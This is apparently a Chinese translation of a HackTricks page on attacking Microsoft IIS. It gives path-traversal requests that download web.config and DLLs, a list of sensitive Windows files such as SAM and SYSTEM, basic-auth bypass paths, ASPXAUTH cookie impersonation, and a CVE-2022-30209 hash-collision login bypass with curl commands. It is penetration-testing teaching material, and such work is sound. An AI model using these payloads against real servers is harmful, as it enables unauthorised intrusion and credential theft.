IIS - Internet Information Services

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

WhiteIntel是一个由暗网推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:


测试可执行文件扩展名:

  • asp

  • aspx

  • config

  • php

内部IP地址泄露

在任何获得302响应的IIS服务器上,您可以尝试剥离Host标头并使用HTTP/1.0,在响应内部Location标头可能会指向内部IP地址:

nc -v domain.com 80
openssl s_client -connect domain.com:443

回应披露内部IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

执行 .config 文件

您可以上传 .config 文件并使用它们来执行代码。一种方法是在文件末尾添加代码,放在 HTML 注释中:在此下载示例

有关更多信息和利用此漏洞的技术,请查看此处

IIS 发现暴力破解

下载我创建的列表:

这个列表是通过合并以下列表的内容创建的:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

使用时不要添加任何扩展名,需要扩展名的文件已经包含在内。

路径遍历

泄露源代码

查看完整的解说:https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

简而言之,应用程序的文件夹中有几个包含对 "assemblyIdentity" 文件和 "namespaces" 的引用的 web.config 文件。有了这些信息,就可以知道 可执行文件的位置 并下载它们。 从下载的 Dlls 中,还可以找到 新的命名空间,您应该尝试访问并获取 web.config 文件,以查找新的命名空间和 assemblyIdentity。 此外,文件 connectionstrings.configglobal.asax 可能包含有趣的信息。\

.Net MVC 应用程序 中,web.config 文件通过 "assemblyIdentity" XML 标签指定应用程序依赖的每个二进制文件。

探索二进制文件

下面是访问 web.config 文件的示例:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

这个请求揭示了各种设置和依赖关系,比如:

  • EntityFramework 版本

  • 用于网页、客户端验证和 JavaScript 的 AppSettings

  • 用于身份验证和运行时的 System.web 配置

  • System.webServer 模块设置

  • 用于许多库的 Runtime 组件绑定,比如 Microsoft.OwinNewtonsoft.JsonSystem.Web.Mvc

这些设置表明某些文件,比如 /bin/WebGrease.dll,位于应用程序的 /bin 文件夹中。

根目录文件

根目录中的文件,比如 /global.asax/connectionstrings.config(其中包含敏感密码),对应用程序的配置和操作至关重要。

命名空间和 Web.Config

MVC 应用程序还为特定命名空间定义了额外的 web.config 文件,以避免在每个文件中重复声明,如通过请求下载另一个 web.config 所示:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

下载 DLLs

提到自定义命名空间暗示着一个名为 "WebApplication1" 的 DLL 存在于 /bin 目录中。接着展示了下载 WebApplication1.dll 的请求:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

这表明在/bin目录中存在其他重要的DLL,比如System.Web.Mvc.dllSystem.Web.Optimization.dll

在一个场景中,一个DLL导入了一个名为WebApplication1.Areas.Minded的命名空间,攻击者可能推断出在可预测路径中存在其他web.config文件,比如**/area-name/Views/,其中包含特定配置和对/bin文件夹中其他DLL的引用。例如,对/Minded/Views/web.config**的请求可以显示配置和命名空间,表明另一个DLL WebApplication1.AdditionalFeatures.dll的存在。

常见文件

来自这里

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404错误

如果你看到如下错误:

这意味着服务器没有收到正确的域名在Host头部。 为了访问网页,你可以查看提供的SSL证书,也许你可以在其中找到域名/子域名。如果找不到,你可能需要暴力破解虚拟主机直到找到正确的。

值得寻找的旧版IIS漏洞

Microsoft IIS波浪符“~”漏洞/特性 - 短文件/文件夹名泄露

你可以尝试使用这个技术枚举每个发现的文件夹中的文件和文件夹(即使需要基本身份验证)。 这种技术的主要限制是,如果服务器存在漏洞,它只能找到每个文件/文件夹名称的前6个字母和文件扩展名的前3个字母

你可以使用https://github.com/irsdl/IIS-ShortName-Scanner来测试这个漏洞:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

原始研究:https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

你也可以使用metasploituse scanner/http/iis_shortname_scanner

基本身份验证绕过

尝试绕过基本身份验证(IIS 7.5)访问:/admin:$i30:$INDEX_ALLOCATION/admin.php/admin::$INDEX_ALLOCATION/admin.php

你可以尝试结合这个漏洞和上一个来发现新的文件夹绕过身份验证。

ASP.NET Trace.AXD启用调试

ASP.NET包含一个调试模式,其文件名为trace.axd

它会详细记录一段时间内发送到应用程序的所有请求。

这些信息包括远程客户端IP、会话ID、所有请求和响应cookie、物理路径、源代码信息,甚至可能包括用户名和密码。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH使用以下信息:

  • validationKey(字符串):用于签名验证的十六进制编码密钥。

  • decryptionMethod(字符串):(默认为“AES”)。

  • decryptionIV(字符串):十六进制编码的初始化向量(默认为零向量)。

  • decryptionKey(字符串):用于解密的十六进制编码密钥。

然而,一些人会使用这些参数的默认值,并将用户的电子邮件作为cookie。因此,如果你能找到一个使用ASPXAUTH cookie的相同平台的网站,并在受攻击的服务器上创建一个使用要模拟用户的用户的电子邮件的用户,你可能能够在第一个服务器中使用第二个服务器的cookie模拟用户。 这种攻击在这个writeup中起作用。

使用缓存密码绕过IIS身份验证(CVE-2022-30209)

完整报告在此处:代码中的一个错误未正确检查用户提供的密码,因此,如果密码哈希命中已在缓存中的密钥,攻击者将能够以该用户身份登录。

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于